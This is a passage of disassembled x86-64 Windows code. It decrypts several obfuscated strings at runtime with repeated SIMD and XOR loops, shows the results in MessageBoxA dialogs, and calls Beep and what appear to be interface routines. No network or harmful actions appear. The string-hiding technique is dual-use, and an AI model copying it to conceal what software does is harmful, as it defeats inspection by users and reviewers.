punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140161b18]
xorps xmm2, xmm0
movd dword [rbp + 0x160], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x164]
xorps xmm2, xmm1
movd dword [rbp + 0x164], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400955d0
movups xmm0, xmmword [0x140161ad8]
movups xmmword [rbp + 0xa58], xmm0
movups xmm1, xmmword [0x140161ae8]
movups xmmword [rbp + 0xa68], xmm1
movups xmm0, xmmword [0x140161af8]
movups xmmword [rbp + 0xa78], xmm0
movsd xmm0, qword [0x140161b08]
movsd qword [rbp + 0xa88], xmm0
movzx eax, word [0x140161b10]
mov word [rbp + 0xa90], ax
movzx eax, byte [0x140161b12]
mov byte [rbp + 0xa92], al
mov r8d, r12d
cmp esi, 2
jl 0x1400957a9
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa5c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400956a0
cmp r8d, 0x3b
jge 0x1400957f1
movsxd rax, r8d
lea r9, [rbp + 0xa58]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x1400957c0
mov r9d, 0x40
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0xa58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, 0x3e8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.14006beb0
call fcn.14007e400
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.140025310
movaps xmm7, xmmword [0x140164420]
mov dword [rbp + 0x4a8], 0x43700000
mov dword [rbp + 0x4ac], 0x42200000
movups xmm0, xmmword [str.dLXHOIM]
movups xmmword [rbp + 0x7e0], xmm0
movsd xmm0, qword [0x140161b38]
movsd qword [rbp + 0x7f0], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rbp + 0x7f8], al
mov r8d, r12d
cmp esi, 2
jl 0x1400959c9
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x7e4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400958c0
cmp r8d, 0x19
jge 0x140095a11
movsxd rax, r8d
lea r9, [rbp + 0x7e0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400959e0
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140196800]
mov qword [rsp + 0x28], rax
lea rax, [0x1401967f8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401967f0]
xor r8d, r8d
lea rdx, [rbp + 0x4a8]
lea rcx, [rbp + 0x7e0]
call fcn.14003f490
test al, al
je 0x140095e26
movsd xmm0, qword [0x140161ba0]
movsd qword [rbp + 0x170], xmm0
mov eax, dword [0x140161ba8]
mov dword [rbp + 0x178], eax
movzx eax, byte [0x140161bac]
mov byte [rbp + 0x17c], al
mov r8d, r12d
cmp esi, 2
jl 0x140095bba
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140161ba0]
xorps xmm2, xmm0
movd dword [rbp + 0x170], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x174]
xorps xmm2, xmm1
movd dword [rbp + 0x174], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140095bd0
movups xmm0, xmmword [str.lkmihhnb_]
movups xmmword [rbp + 0xad0], xmm0
movups xmm1, xmmword [0x140161b60]
movups xmmword [rbp + 0xae0], xmm1
movups xmm0, xmmword [0x140161b70]
movups xmmword [rbp + 0xaf0], xmm0
movups xmm1, xmmword [0x140161b80]
movups xmmword [rbp + 0xb00], xmm1
movsd xmm0, qword [0x140161b90]
movsd qword [rbp + 0xb10], xmm0
mov eax, dword [0x140161b98]
mov dword [rbp + 0xb18], eax
movzx eax, word [0x140161b9c]
mov word [rbp + 0xb1c], ax
movzx eax, byte [0x140161b9e]
mov byte [rbp + 0xb1e], al
mov r8d, r12d
cmp esi, 2
jl 0x140095db9
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xad4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140095cb0
cmp r8d, 0x4f
jge 0x140095e01
movsxd rax, r8d
lea r9, [rbp + 0xad0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4f
jl 0x140095dd0
mov r9d, 0x40
lea r8, [rbp + 0x170]
lea rdx, [rbp + 0xad0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
xor ecx, ecx
call fcn.14006b740
mov dword [rbp + 0x4b0], 0x42480000
mov dword [rbp + 0x4b4], 0x43a00000
lea rcx, [rbp + 0x4b0]
call fcn.140025c50
movaps xmm7, xmmword [0x140164420]
mov dword [rbp + 0x4b8], 0x43700000
mov dword [rbp + 0x4bc], 0x42200000
movups xmm0, xmmword [str.sQJQeoMQPaj]
movups xmmword [rbp + 0x6c8], xmm0
mov eax, dword [0x140161bc0]
mov dword [rbp + 0x6d8], eax
movzx eax, word [0x140161bc4]
mov word [rbp + 0x6dc], ax
movzx eax, byte [0x140161bc6]
mov byte [rbp + 0x6de], al
mov r8d, r12d
cmp esi, 2
jl 0x140095fe9
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6cc]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140095ee0
cmp r8d, 0x17
jge 0x140096031
movsxd rax, r8d
lea r9, [rbp + 0x6c8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140096000
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140196830]
mov qword [rsp + 0x28], rax
lea rax, [0x140196828]
mov qword [rsp + 0x20], rax
lea r9, [0x140196820]
xor r8d, r8d
lea rdx, [rbp + 0x4b8]
lea rcx, [rbp + 0x6c8]
call fcn.14003f490
test al, al
je 0x140096422
movsd xmm0, qword [0x140161c08]
movsd qword [rbp + 0x180], xmm0
mov eax, dword [0x140161c10]
mov dword [rbp + 0x188], eax
movzx eax, byte [0x140161c14]
mov byte [rbp + 0x18c], al
mov r8d, r12d
cmp esi, 2
jl 0x1400961da
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140161c08]
xorps xmm2, xmm0
movd dword [rbp + 0x180], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x184]
xorps xmm2, xmm1
movd dword [rbp + 0x184], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x180]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400961f0
movups xmm0, xmmword [str.lPIP]
movups xmmword [rbp + 0xb20], xmm0
movups xmm1, xmmword [0x140161bd8]
movups xmmword [rbp + 0xb30], xmm1
movups xmm0, xmmword [0x140161be8]
movups xmmword [rbp + 0xb40], xmm0
movsd xmm0, qword [0x140161bf8]
movsd qword [rbp + 0xb50], xmm0
mov eax, dword [str.wre_]
mov dword [rbp + 0xb58], eax
mov r8d, r12d
cmp esi, 2
jl 0x1400963b9
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xb24]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400962b0
cmp r8d, 0x3c
jge 0x140096401
movsxd rax, r8d
lea r9, [rbp + 0xb20]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x1400963d0
mov r9d, 0x40
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0xb20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140082b30
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.140025310
movaps xmm6, xmmword [0x140164420]
mov dword [rbp + 0x4c0], 0x43700000
mov dword [rbp + 0x4c4], 0x42200000
movsd xmm0, qword [str.fMPYP]
movsd qword [rbp + 0x1f0], xmm0
mov eax, dword [0x140161c20]
mov dword [rbp + 0x1f8], eax
cmp byte [0x140161c23], 0
je 0x1400965d1
mov r8d, r12d
cmp esi, 2
jl 0x140096587
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.fMPYP]
xorps xmm2, xmm0
movd dword [rbp + 0x1f0], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1f4]
xorps xmm2, xmm1
movd dword [rbp + 0x1f4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400965a0
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm6
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140196848]
mov qword [rsp + 0x28], rax
lea rax, [0x140196840]
mov qword [rsp + 0x20], rax
lea r9, [0x140196838]
xor r8d, r8d
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x1f0]
call fcn.14003f490
test al, al
je 0x1400969b2
movsd xmm0, qword [str.yWMS_U_K_._C]
movsd qword [rbp + 0x190], xmm0
mov eax, dword [0x140161c68]
mov dword [rbp + 0x198], eax
movzx eax, byte [0x140161c6c]
mov byte [rbp + 0x19c], al
mov r8d, r12d
cmp esi, 2
jl 0x14009677a
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.yWMS_U_K_._C]
xorps xmm2, xmm0
movd dword [rbp + 0x190], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x194]
xorps xmm2, xmm1
movd dword [rbp + 0x194], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140096790
movups xmm0, xmmword [str.liLSXW_]
movups xmmword [rbp + 0xa98], xmm0
movups xmm1, xmmword [0x140161c38]
movups xmmword [rbp + 0xaa8], xmm1
movups xmm0, xmmword [0x140161c48]
movups xmmword [rbp + 0xab8], xmm0
movzx eax, word [0x140161c58]
mov word [rbp + 0xac8], ax
mov r8d, r12d
cmp esi, 2
jl 0x140096949
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa9c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
